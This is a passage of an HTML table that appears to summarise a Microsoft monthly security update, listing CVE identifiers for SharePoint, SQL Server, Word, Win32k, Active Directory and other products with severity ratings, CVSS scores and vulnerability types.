  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55126"><span>CVE-2026-55126</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55135"><span>CVE-2026-55135</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56157"><span>CVE-2026-56157</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47296"><span>CVE-2026-47296</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55002"><span>CVE-2026-55002</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47295"><span>CVE-2026-47295</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50468"><span>CVE-2026-50468</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54116"><span>CVE-2026-54116</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42900"><span>CVE-2026-42900</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49784"><span>CVE-2026-49784</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50356"><span>CVE-2026-50356</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49165"><span>CVE-2026-49165</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54993"><span>CVE-2026-54993</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58610"><span>CVE-2026-58610</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55050"><span>CVE-2026-55050</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55124"><span>CVE-2026-55124</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55142"><span>CVE-2026-55142</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55032"><span>CVE-2026-55032</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55055"><span>CVE-2026-55055</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55038"><span>CVE-2026-55038</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55134"><span>CVE-2026-55134</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55128"><span>CVE-2026-55128</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55130"><span>CVE-2026-55130</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50359"><span>CVE-2026-50359</span></a></td>
  <td width="256" class="xl74">Microsoft XML Core
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57097"><span>CVE-2026-57097</span></a></td>
  <td width="256" class="xl74">Microsoft XML Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50346"><span>CVE-2026-50346</span></a></td>
  <td width="256" class="xl74">Netlogon RPC Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50402"><span>CVE-2026-50402</span></a></td>
  <td width="256" class="xl74">NTFS Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50506"><span>CVE-2026-50506</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45646"><span>CVE-2026-45646</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54989"><span>CVE-2026-54989</span></a></td>
  <td width="256" class="xl74">Quality Windows
  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50365"><span>CVE-2026-50365</span></a></td>
  <td width="256" class="xl74">Remote Access
  Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54990"><span>CVE-2026-54990</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58594"><span>CVE-2026-58594</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><span>CVE-2026-56190</span></a></td>
  <td width="256" class="xl74">Remote Desktop
  Protocol Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49783"><span>CVE-2026-49783</span></a></td>
  <td width="256" class="xl74">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42990"><span>CVE-2026-42990</span></a></td>
  <td width="256" class="xl74">SQL Server ODBC driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49168"><span>CVE-2026-49168</span></a></td>
  <td width="256" class="xl74">Storage Spaces Direct
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48581"><span>CVE-2026-48581</span></a></td>
  <td width="256" class="xl74">Surface Broker SDMA
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49180"><span>CVE-2026-49180</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50455"><span>CVE-2026-50455</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54111"><span>CVE-2026-54111</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58543"><span>CVE-2026-58543</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58601"><span>CVE-2026-58601</span></a></td>
  <td width="256" class="xl74">Virtual Hard Disk
  (VHD) Miniport Driver Elevation of Privilege Vulernability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520"><span>CVE-2026-50520</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45496"><span>CVE-2026-45496</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57101"><span>CVE-2026-57101</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102"><span>CVE-2026-57102</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305"><span>CVE-2026-47305</span></a></td>
  <td width="256" class="xl74">Visual Studio Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49805"><span>CVE-2026-49805</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50297"><span>CVE-2026-50297</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50325"><span>CVE-2026-50325</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50489"><span>CVE-2026-50489</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57095"><span>CVE-2026-57095</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50416"><span>CVE-2026-50416</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56184"><span>CVE-2026-56184</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50432"><span>CVE-2026-50432</span></a></td>
  <td width="256" class="xl74">Window Virtual
  Filtering Platform (VFP) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54119"><span>CVE-2026-54119</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57976"><span>CVE-2026-57976</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50366"><span>CVE-2026-50366</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49178"><span>CVE-2026-49178</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58529"><span>CVE-2026-58529</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services (ADFS) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54983"><span>CVE-2026-54983</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50695"><span>CVE-2026-50695</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50304"><span>CVE-2026-50304</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50368"><span>CVE-2026-50368</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50324"><span>CVE-2026-50324</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50355"><span>CVE-2026-50355</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50411"><span>CVE-2026-50411</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58631"><span>CVE-2026-58631</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56196"><span>CVE-2026-56196</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56197"><span>CVE-2026-56197</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56169"><span>CVE-2026-56169</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57107"><span>CVE-2026-57107</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56185"><span>CVE-2026-56185</span></a></td>
